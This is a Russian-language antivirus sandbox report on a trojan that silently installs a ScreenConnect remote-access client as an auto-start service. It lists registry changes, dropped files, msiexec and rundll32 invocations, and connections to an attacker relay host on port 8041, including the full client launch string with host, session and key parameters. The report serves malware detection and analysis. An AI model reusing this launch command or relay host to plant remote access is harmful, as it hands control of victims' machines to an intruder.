Trojan.Siggen31.64363

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-ae2fbebc72d56380\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.WindowsClient.exe" "%1"'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (ae2fbebc72d56380)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (ae2fbebc72d56380)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.ClientService.exe" "?e...

Создает следующие сервисы

'ScreenConnect Client (ae2fbebc72d56380)' %ProgramFiles(x86)%\ScreenConnect Client (ae2fbebc72d56380)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=newhomesnet.com&p=8041&s=9834b42e-1e65-48e6-ac36-7e13ca804947&k=BgIAAACkAABSU0E...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\setup.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<Имя файла>.exe.log
%TEMP%\msi5d8.tmp
%TEMP%\msi5d8.tmp-\screenconnect.installeractions.dll
%TEMP%\msi5d8.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi5d8.tmp-\screenconnect.core.dll
%TEMP%\msi5d8.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~dfe710451a022c2a18.tmp
%WINDIR%\installer\sourcehash{6894e6e6-cf08-4e61-8fd8-8800754ce376}
%WINDIR%\temp\~dfb43e825dbc6edc5f.tmp
%WINDIR%\temp\~df06500363c44e3a28.tmp
%WINDIR%\temp\~df54b57c6850f5842c.tmp
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\app.config
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\client.resources
%WINDIR%\installer\{6894e6e6-cf08-4e61-8fd8-8800754ce376}\defaulticon
%WINDIR%\temp\~df7e4ca0cda05633e1.tmp
%WINDIR%\temp\~dfa7f6cef87b268800.tmp
%WINDIR%\temp\~dffb655a2868d64bdf.tmp
%WINDIR%\temp\~dfd425b92458cad246.tmp
%WINDIR%\temp\~df8900b94d31cc858d.tmp
%WINDIR%\temp\~df8fc534ea91b37100.tmp
%WINDIR%\temp\~dfb000957a1e681d9f.tmp
%WINDIR%\temp\~df1acc5b6cbd1105dd.tmp
%TEMP%\content\1416-3460-screenconnect.windowsclient.exe-18-07-57-753.dump
%WINDIR%\temp\content\3252-1072-screenconnect.windowsclient.exe-18-07-58-682.dump

Удаляет файлы, которые сам же создал

%TEMP%\msi5d8.tmp-\customaction.config
%TEMP%\msi5d8.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi5d8.tmp-\screenconnect.core.dll
%TEMP%\msi5d8.tmp-\screenconnect.installeractions.dll
%TEMP%\msi5d8.tmp

Сетевая активность

Подключается к

'ne###mesnet.com':8041

TCP

Другие

'ne###mesnet.com':8041

UDP

DNS ASK ne###mesnet.com

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=newhomesnet.com&p=8041&s=9834b42e-1e65-48e6-ac36-7e13ca804947&k=BgIAAACkAABSU0ExAAgAAAEAAQARJQaezk4RwOV2NGnVourc54nJ50w31jOUo6bdgji5L2%2bopu%2bBr%2fCMtq2bMHqAikk7DOmGtht60K...
'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe' "RunRole" "053971d4-9fb5-4d0c-bb16-6098a00d0cde" "User"
'%ProgramFiles(x86)%\screenconnect client (ae2fbebc72d56380)\screenconnect.windowsclient.exe' "RunRole" "ba4df4ec-abe2-4d8b-bd2b-cd721be45355" "System"

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI5D8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_919484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments